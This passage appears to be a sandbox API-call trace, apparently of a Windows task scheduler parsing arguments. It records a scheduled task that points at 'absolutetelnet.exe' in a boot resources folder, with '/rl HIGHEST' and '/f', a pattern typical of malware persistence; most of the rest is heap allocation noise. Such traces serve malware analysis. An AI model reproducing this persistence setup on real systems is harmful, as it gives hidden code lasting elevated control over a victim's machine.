(HeapHandle=0x1ae83310000, Flags=0xc, Size=0x8) returned 0x1ae83313bd0 [0131.403] GetProcessHeap () returned 0x1ae83310000 [0131.403] RtlAllocateHeap (HeapHandle=0x1ae83310000, Flags=0xc, Size=0x20) returned 0x1ae8331b3b0 [0131.403] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.403] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.403] lstrlenW (lpString="'C:\\Boot\\Resources\\en-US\\absolutetelnet.exe'") returned 44 [0131.403] lstrlenW (lpString="-/") returned 2 [0131.403] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0131.403] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.403] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.403] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.403] lstrlenW (lpString="'C:\\Boot\\Resources\\en-US\\absolutetelnet.exe'") returned 44 [0131.403] StrChrIW (lpStart="'C:\\Boot\\Resources\\en-US\\absolutetelnet.exe'", wMatch=0x3a) returned=":\\Boot\\Resources\\en-US\\absolutetelnet.exe'" [0131.403] lstrlenW (lpString="'C:\\Boot\\Resources\\en-US\\absolutetelnet.exe'") returned 44 [0131.403] GetProcessHeap () returned 0x1ae83310000 [0131.403] RtlAllocateHeap (HeapHandle=0x1ae83310000, Flags=0xc, Size=0x18) returned 0x1ae8331ab70 [0131.404] _memicmp (_Buf1=0x1ae8331ab70, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.404] GetProcessHeap () returned 0x1ae83310000 [0131.404] RtlAllocateHeap (HeapHandle=0x1ae83310000, Flags=0xc, Size=0xe) returned 0x1ae8331a830 [0131.404] GetProcessHeap () returned 0x1ae83310000 [0131.404] RtlAllocateHeap (HeapHandle=0x1ae83310000, Flags=0xc, Size=0x18) returned 0x1ae8331a9d0 [0131.404] _memicmp (_Buf1=0x1ae8331a9d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.404] GetProcessHeap () returned 0x1ae83310000 [0131.404] RtlAllocateHeap (HeapHandle=0x1ae83310000, Flags=0xc, Size=0x5c) returned 0x1ae83313bf0 [0131.404] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.404] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.404] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.404] lstrlenW (lpString="'C") returned 2 [0131.404] lstrlenW (lpString="-/") returned 2 [0131.404] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0131.404] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.404] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.404] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.404] lstrlenW (lpString="'C:\\Boot\\Resources\\en-US\\absolutetelnet.exe'") returned 44 [0131.404] GetProcessHeap () returned 0x1ae83310000 [0131.404] RtlAllocateHeap (HeapHandle=0x1ae83310000, Flags=0xc, Size=0x5a) returned 0x1ae83313c60 [0131.404] GetProcessHeap () returned 0x1ae83310000 [0131.404] RtlAllocateHeap (HeapHandle=0x1ae83310000, Flags=0xc, Size=0x20) returned 0x1ae8331b620 [0131.404] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.404] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.404] lstrlenW (lpString="/rl") returned 3 [0131.404] lstrlenW (lpString="-/") returned 2 [0131.404] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0131.404] lstrlenW (lpString="?") returned 1 [0131.404] lstrlenW (lpString="?") returned 1 [0131.404] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.405] lstrlenW (lpString="rl") returned 2 [0131.405] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.405] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x4, _Format="|%s|", _ArgList=0x6088e7f4c8 | out: _Buffer="|?|") returned 3 [0131.405] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7f4c8 | out: _Buffer="|rl|") returned 4 [0131.405] lstrlenW (lpString="|?|") returned 3 [0131.405] lstrlenW (lpString="|rl|") returned 4 [0131.405] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.405] lstrlenW (lpString="create") returned 6 [0131.405] lstrlenW (lpString="create") returned 6 [0131.405] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.405] lstrlenW (lpString="rl") returned 2 [0131.405] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.405] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x9, _Format="|%s|", _ArgList=0x6088e7f4c8 | out: _Buffer="|create|") returned 8 [0131.405] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7f4c8 | out: _Buffer="|rl|") returned 4 [0131.405] lstrlenW (lpString="|create|") returned 8 [0131.405] lstrlenW (lpString="|rl|") returned 4 [0131.405] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0131.405] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.405] lstrlenW (lpString="delete") returned 6 [0131.405] lstrlenW (lpString="delete") returned 6 [0131.405] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.405] lstrlenW (lpString="rl") returned 2 [0131.405] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.405] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x9, _Format="|%s|", _ArgList=0x6088e7f4c8 | out: _Buffer="|delete|") returned 8 [0131.405] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7f4c8 | out: _Buffer="|rl|") returned 4 [0131.405] lstrlenW (lpString="|delete|") returned 8 [0131.406] lstrlenW (lpString="|rl|") returned 4 [0131.406] StrStrIW (lpFirst="|delete|", lpSrch="|rl|") returned 0x0 [0131.406] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.406] lstrlenW (lpString="query") returned 5 [0131.406] lstrlenW (lpString="query") returned 5 [0131.406] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.406] lstrlenW (lpString="rl") returned 2 [0131.406] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.406] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x8, _Format="|%s|", _ArgList=0x6088e7f4c8 | out: _Buffer="|query|") returned 7 [0131.406] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7f4c8 | out: _Buffer="|rl|") returned 4 [0131.406] lstrlenW (lpString="|query|") returned 7 [0131.406] lstrlenW (lpString="|rl|") returned 4 [0131.406] StrStrIW (lpFirst="|query|", lpSrch="|rl|") returned 0x0 [0131.406] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.406] lstrlenW (lpString="change") returned 6 [0131.406] lstrlenW (lpString="change") returned 6 [0131.406] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.406] lstrlenW (lpString="rl") returned 2 [0131.406] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.406] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x9, _Format="|%s|", _ArgList=0x6088e7f4c8 | out: _Buffer="|change|") returned 8 [0131.406] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7f4c8 | out: _Buffer="|rl|") returned 4 [0131.406] lstrlenW (lpString="|change|") returned 8 [0131.406] lstrlenW (lpString="|rl|") returned 4 [0131.406] StrStrIW (lpFirst="|change|", lpSrch="|rl|") returned 0x0 [0131.406] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.406] lstrlenW (lpString="run") returned 3 [0131.406] lstrlenW (lpString="run") returned 3 [0131.407] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.407] lstrlenW (lpString="rl") returned 2 [0131.407] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.407] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x6, _Format="|%s|", _ArgList=0x6088e7f4c8 | out: _Buffer="|run|") returned 5 [0131.407] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7f4c8 | out: _Buffer="|rl|") returned 4 [0131.407] lstrlenW (lpString="|run|") returned 5 [0131.407] lstrlenW (lpString="|rl|") returned 4 [0131.407] StrStrIW (lpFirst="|run|", lpSrch="|rl|") returned 0x0 [0131.407] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.407] lstrlenW (lpString="end") returned 3 [0131.407] lstrlenW (lpString="end") returned 3 [0131.407] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.407] lstrlenW (lpString="rl") returned 2 [0131.407] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.407] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x6, _Format="|%s|", _ArgList=0x6088e7f4c8 | out: _Buffer="|end|") returned 5 [0131.407] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7f4c8 | out: _Buffer="|rl|") returned 4 [0131.407] lstrlenW (lpString="|end|") returned 5 [0131.407] lstrlenW (lpString="|rl|") returned 4 [0131.407] StrStrIW (lpFirst="|end|", lpSrch="|rl|") returned 0x0 [0131.407] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.407] lstrlenW (lpString="showsid") returned 7 [0131.407] lstrlenW (lpString="showsid") returned 7 [0131.407] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.407] lstrlenW (lpString="rl") returned 2 [0131.407] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.407] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0xa, _Format="|%s|", _ArgList=0x6088e7f4c8 | out: _Buffer="|showsid|") returned 9 [0131.407] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7f4c8 | out: _Buffer="|rl|") returned 4 [0131.408] lstrlenW (lpString="|showsid|") returned 9 [0131.408] lstrlenW (lpString="|rl|") returned 4 [0131.408] StrStrIW (lpFirst="|showsid|", lpSrch="|rl|") returned 0x0 [0131.408] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.408] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.408] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.408] lstrlenW (lpString="/rl") returned 3 [0131.408] StrChrIW (lpStart="/rl", wMatch=0x3a) returned 0x0 [0131.408] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.408] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.408] lstrlenW (lpString="/rl") returned 3 [0131.408] GetProcessHeap () returned 0x1ae83310000 [0131.408] RtlAllocateHeap (HeapHandle=0x1ae83310000, Flags=0xc, Size=0x8) returned 0x1ae8331bcc0 [0131.408] GetProcessHeap () returned 0x1ae83310000 [0131.408] RtlAllocateHeap (HeapHandle=0x1ae83310000, Flags=0xc, Size=0x20) returned 0x1ae8331b9b0 [0131.408] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.408] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.408] lstrlenW (lpString="HIGHEST") returned 7 [0131.408] lstrlenW (lpString="-/") returned 2 [0131.408] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0131.408] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.408] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.408] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.408] lstrlenW (lpString="HIGHEST") returned 7 [0131.408] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0131.408] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.408] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.408] lstrlenW (lpString="HIGHEST") returned 7 [0131.408] GetProcessHeap () returned 0x1ae83310000 [0131.408] RtlAllocateHeap (HeapHandle=0x1ae83310000, Flags=0xc, Size=0x10) returned 0x1ae8331ab90 [0131.409] GetProcessHeap () returned 0x1ae83310000 [0131.409] RtlAllocateHeap (HeapHandle=0x1ae83310000, Flags=0xc, Size=0x20) returned 0x1ae8331b3e0 [0131.409] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.409] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.409] lstrlenW (lpString="/f") returned 2 [0131.409] lstrlenW (lpString="-/") returned 2 [0131.409] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0131.409] lstrlenW (lpString="?") returned 1 [0131.409] lstrlenW (lpString="?") returned 1 [0131.409] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.409] lstrlenW (lpString="f") returned 1 [0131.409] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.409] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x4, _Format="|%s|", _ArgList=0x6088e7f4c8 | out: _Buffer="|?|") returned 3 [0131.409] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x6088e7f4c8 | out: _Buffer="|f|") returned 3 [0131.409] lstrlenW (lpString="|?|") returned 3 [0131.409] lstrlenW (lpString="|f|") returned 3 [0131.409] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0131.409] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.409] lstrlenW (lpString="create") returned 6 [0131.409] lstrlenW (lpString="create") returned 6 [0131.409] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.409] lstrlenW (lpString="f") returned 1 [0131.409] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.409] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x9, _Format="|%s|", _ArgList=0x6088e7f4c8 | out: _Buffer="|create|") returned 8 [0131.409] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x6088e7f4c8 | out: _Buffer="|f|") returned 3 [0131.409] lstrlenW (lpString="|create|") returned 8 [0131.409] lstrlenW (lpString="|f|") returned 3 [0131.410] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0131.410] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.410] lstrlenW (lpString="delete") returned 6 [0131.410] lstrlenW (lpString="delete") returned 6 [0131.410] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.410] lstrlenW (lpString="f") returned 1 [0131.410] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.410] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x9, _Format="|%s|", _ArgList=0x6088e7f4c8 | out: _Buffer="|delete|") returned 8 [0131.410] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x6088e7f4c8 | out: _Buffer="|f|") returned 3 [0131.410] lstrlenW (lpString="|delete|") returned 8 [0131.410] lstrlenW (lpString="|f|") returned 3 [0131.410] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0131.410] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.410] lstrlenW (lpString="query") returned 5 [0131.410] lstrlenW (lpString="query") returned 5 [0131.410] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.410] lstrlenW (lpString="f") returned 1 [0131.410] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.410] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x8, _Format="|%s|", _ArgList=0x6088e7f4c8 | out: _Buffer="|query|") returned 7 [0131.410] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x6088e7f4c8 | out: _Buffer="|f|") returned 3 [0131.410] lstrlenW (lpString="|query|") returned 7 [0131.410] lstrlenW (lpString="|f|") returned 3 [0131.410] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0131.410] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.410] lstrlenW (lpString="change") returned 6 [0131.410] lstrlenW (lpString="change") returned 6 [0131.410] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.411] lstrlenW (lpString="f") returned 1 [0131.411] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.411] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x9, _Format="|%s|", _ArgList=0x6088e7f4c8 | out: _Buffer="|change|") returned 8 [0131.411] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x6088e7f4c8 | out: _Buffer="|f|") returned 3 [0131.411] lstrlenW (lpString="|change|") returned 8 [0131.411] lstrlenW (lpString="|f|") returned 3 [0131.411] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0131.411] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.411] lstrlenW (lpString="run") returned 3 [0131.411] lstrlenW (lpString="run") returned 3 [0131.411] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.411] lstrlenW (lpString="f") returned 1 [0131.411] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.411] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x6, _Format="|%s|", _ArgList=0x6088e7f4c8 | out: _Buffer="|run|") returned 5 [0131.411] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x6088e7f4c8 | out: _Buffer="|f|") returned 3 [0131.411] lstrlenW (lpString="|run|") returned 5 [0131.411] lstrlenW (lpString="|f|") returned 3 [0131.411] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0131.411] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.411] lstrlenW (lpString="end") returned 3 [0131.411] lstrlenW (lpString="end") returned 3 [0131.411] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.411] lstrlenW (lpString="f") returned 1 [0131.411] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.411] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x6, _Format="|%s|", _ArgList=0x6088e7f4c8 | out: _Buffer="|end|") returned 5 [0131.412] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x6088e7f4c8 | out: _Buffer="|f|") returned 3 [0131.412] lstrlenW (lpString="|end|") returned 5 [0131.412] lstrlenW (lpString="|f|") returned 3 [0131.412] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0131.412] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.412] lstrlenW (lpString="showsid") returned 7 [0131.412] lstrlenW (lpString="showsid") returned 7 [0131.412] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.412] lstrlenW (lpString="f") returned 1 [0131.412] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.412] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0xa, _Format="|%s|", _ArgList=0x6088e7f4c8 | out: _Buffer="|showsid|") returned 9 [0131.412] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x6088e7f4c8 | out: _Buffer="|f|") returned 3 [0131.412] lstrlenW (lpString="|showsid|") returned 9 [0131.412] lstrlenW (lpString="|f|") returned 3 [0131.412] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0131.412] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.412] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.412] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.412] lstrlenW (lpString="/f") returned 2 [0131.412] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0131.412] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.412] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.412] lstrlenW (lpString="/f") returned 2 [0131.412] GetProcessHeap () returned 0x1ae83310000 [0131.412] RtlAllocateHeap (HeapHandle=0x1ae83310000, Flags=0xc, Size=0x6) returned 0x1ae8331bce0 [0131.412] GetProcessHeap () returned 0x1ae83310000 [0131.456] RtlAllocateHeap (HeapHandle=0x1ae83310000, Flags=0xc, Size=0x20) returned 0x1ae8331b9e0 [0131.456] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.456] GetProcessHeap () returned 0x1ae83310000 [0131.456] GetProcessHeap () returned 0x1ae83310000 [0131.456] HeapValidate (hHeap=0x1ae83310000, dwFlags=0x0, lpMem=0x1ae83313910) returned 1 [0131.456] GetProcessHeap () returned 0x1ae83310000 [0131.456] RtlSizeHeap (HeapHandle=0x1ae83310000, Flags=0x0, MemoryPointer=0x1ae83313910) returned 0x8 [0131.456] RtlFreeHeap (HeapHandle=0x1ae83310000, Flags=0x0, BaseAddress=0x1ae83313910) returned 1 [0131.456] GetProcessHeap () returned 0x1ae83310000 [0131.456] GetProcessHeap () returned 0x1ae83310000 [0131.456] HeapValidate (hHeap=0x1ae83310000, dwFlags=0x0, lpMem=0x1ae8331b6e0) returned 1 [0131.456] GetProcessHeap () returned 0x1ae83310000 [0131.456] RtlSizeHeap (HeapHandle=0x1ae83310000, Flags=0x0, MemoryPointer=0x1ae8331b6e0) returned 0x20 [0131.457] RtlFreeHeap (HeapHandle=0x1ae83310000, Flags=0x0, BaseAddress=0x1ae8331b6e0) returned 1 [0131.457] GetProcessHeap () returned 0x1ae83310000 [0131.457] GetProcessHeap () returned 0x1ae83310000 [0131.457] HeapValidate (hHeap=0x1ae83310000, dwFlags=0x0, lpMem=0x1ae8331b530) returned 1 [0131.458] GetProcessHeap () returned 0x1ae83310000 [0131.458] RtlSizeHeap (HeapHandle=0x1ae83310000, Flags=0x0, MemoryPointer=0x1ae8331b530) returned 0x20 [0131.458] RtlFreeHeap (HeapHandle=0x1ae83310000, Flags=0x0, BaseAddress=0x1ae8331b530) returned 1 [0131.460] GetProcessHeap () returned 0x1ae83310000 [0131.460] GetProcessHeap () returned 0x1ae83310000 [0131.460] HeapValidate (hHeap=0x1ae83310000, dwFlags=0x0, lpMem=0x1ae8331b5c0) returned 1 [0131.460] GetProcessHeap () returned 0x1ae83310000 [0131.460] RtlSizeHeap (HeapHandle=0x1ae83310000, Flags=0x0, MemoryPointer=0x1ae8331b5c0) returned 0x20 [0131.461] RtlFreeHeap (HeapHandle=0x1ae83310000, Flags=0x0, BaseAddress=0x1ae8331b5c0) returned 1 [0131.461] GetProcessHeap () returned 0x1ae83310000 [0131.461] GetProcessHeap () returned 0x1ae83310000 [0131.461] HeapValidate (hHeap=0x1ae83310000, dwFlags=0x0, lpMem=0x1ae83313b70) returned 1 [0131.461] GetProcessHeap () returned 0x1ae83310000 [0131.461] RtlSizeHeap (HeapHandle=0x1ae83310000, Flags=0x0, MemoryPointer=0x1ae83313b70) returned 0x8 [0131.461] RtlFreeHeap (HeapHandle=0x1ae83310000, Flags=0x0, BaseAddress=0x1ae83313b70) returned 1 [0131.461] GetProcessHeap () returned 0x1ae83310000 [0131.461] GetProcessHeap () returned 0x1ae83310000 [0131.461] HeapValidate (hHeap=0x1ae83310000, dwFlags=0x0, lpMem=0x1ae8331ba10) returned 1 [0131.461] GetProcessHeap () returned 0x1ae83310000 [0131.461] RtlSizeHeap (HeapHandle=0x1ae83310000, Flags=0x0, MemoryPointer=0x1ae8331ba10) returned 0x20 [0131.461] RtlFreeHeap (HeapHandle=0x1ae83310000, Flags=0x0, BaseAddress=0x1ae8331ba10) returned 1 [0131.461] GetProcessHeap () returned 0x1ae83310000 [0131.461] GetProcessHeap () returned 0x1ae83310000 [0131.462] HeapValidate (hHeap=0x1ae83310000, dwFlags=0x0, lpMem=0x1ae8331ab50) returned 1 [0131.462] GetProcessHeap () returned 0x1ae83310000 [0131.462] RtlSizeHeap (HeapHandle=0x1ae83310000, Flags=0x0, MemoryPointer=0x1ae8331ab50) returned 0xe [0131.462] RtlFreeHeap (HeapHandle=0x1ae83310000, Flags=0x0, BaseAddress=0x1ae8331ab50) returned 1 [0131.462] GetProcessHeap () returned 0x1ae83310000 [0131.462] GetProcessHeap () returned 0x1ae83310000 [0131.462] HeapValidate (hHeap=0x1ae83310000, dwFlags=0x0, lpMem=0x1ae8331b4d0) returned 1 [0131.462] GetProcessHeap () returned 0x1ae83310000 [0131.462] RtlSizeHeap (HeapHandle=0x1ae83310000, Flags=0x0, MemoryPointer=0x1ae8331b4d0) returned 0x20 [0131.462] RtlFreeHeap (HeapHandle=0x1ae83310000, Flags=0x0, BaseAddress=0x1ae8331b4d0) returned 1 [0131.462] GetProcessHeap () returned 0x1ae83310000 [0131.462] GetProcessHeap () returned 0x1ae83310000 [0131.462] HeapValidate (hHeap=0x1ae83310000, dwFlags=0x0, lpMem=0x1ae83313b90) returned 1 [0131.462] GetProcessHeap () returned 0x1ae83310000 [0131.462] RtlSizeHeap (HeapHandle=0x1ae83310000, Flags=0x0, MemoryPointer=0x1ae83313b90) returned 0x8 [0131.462] RtlFreeHeap (HeapHandle=0x1ae83310000, Flags=0x0, BaseAddress=0x1ae83313b90) returned 1 [0131.462] GetProcessHeap () returned 0x1ae83310000 [0131.462] GetProcessHeap () returned 0x1ae83310000 [0131.462] HeapValidate (hHeap=0x1ae83310000, dwFlags=0x0, lpMem=0x1ae8331b500) returned 1 [0131.462] GetProcessHeap () returned 0x1ae83310000 [0131.462] RtlSizeHeap (HeapHandle=0x1ae83310000, Flags=0x0, MemoryPointer=0x1ae8331b500) returned 0x20 [0131.463] RtlFreeHeap (HeapHandle=0x1ae83310000, Flags=0x0, BaseAddress=0x1ae8331b500) returned 1 [0131.463] GetProcessHeap () returned 0x1ae83310000 [0131.463] GetProcessHeap () returned 0x1ae83310000 [0131.463] HeapValidate (hHeap=0x1ae83310000, dwFlags=0x0, lpMem=0x1ae83313bb0) returned 1 [0131.463] GetProcessHeap () returned 0x1ae83310000 [0131.463] RtlSizeHeap (HeapHandle=0x1ae83310000, Flags=0x0, MemoryPointer=0x1ae83313bb0) returned 0x4 [0131.463] RtlFreeHeap (HeapHandle=0x1ae83310000, Flags=0x0, BaseAddress=0x1ae83313bb0) returned 1 [0131.463] GetProcessHeap () returned 0x1ae83310000 [0131.463] GetProcessHeap () returned 0x1ae83310000 [0131.463] HeapValidate (hHeap=0x1ae83310000, dwFlags=0x0, lpMem=0x1ae8331b380) returned 1 [0131.463] GetProcessHeap () returned 0x1ae83310000 [0131.463] RtlSizeHeap (HeapHandle=0x1ae83310000, Flags=0x0, MemoryPointer=0x1ae8331b380) returned 0x20 [0131.463] RtlFreeHeap (HeapHandle=0x1ae83310000, Flags=0x0, BaseAddress=0x1ae8331b380) returned 1 [0131.464] GetProcessHeap () returned 0x1ae83310000 [0131.466] GetProcessHeap () returned 0x1ae83310000 [0131.466] HeapValidate (hHeap=0x1ae83310000, dwFlags=0x0, lpMem=0x1ae83313bd0) returned 1 [0131.466] GetProcessHeap () returned 0x1ae83310000 [0131.466] RtlSizeHeap (HeapHandle=0x1ae83310000, Flags=0x0, MemoryPointer=0x1ae83313bd0) returned 0x8 [0131.466] RtlFreeHeap (HeapHandle=0x1ae83310000, Flags=0x0, BaseAddress=0x1ae83313bd0) returned 1 [0131.466] GetProcessHeap () returned 0x1ae83310000 [0131.466] GetProcessHeap () returned 0x1ae83310000 [0131.466] HeapValidate (hHeap=0x1ae83310000, dwFlags=0x0, lpMem=0x1ae8331b3b0) returned 1 [0131.466] GetProcessHeap () returned 0x1ae83310000 [0131.466] RtlSizeHeap (HeapHandle=0x1ae83310000, Flags=0x0, MemoryPointer=0x1ae8331b3b0) returned 0x20 [0131.466] RtlFreeHeap (HeapHandle=0x1ae83310000, Flags=0x0, BaseAddress=0x1ae8331b3b0) returned 1 [0131.468] GetProcessHeap () returned 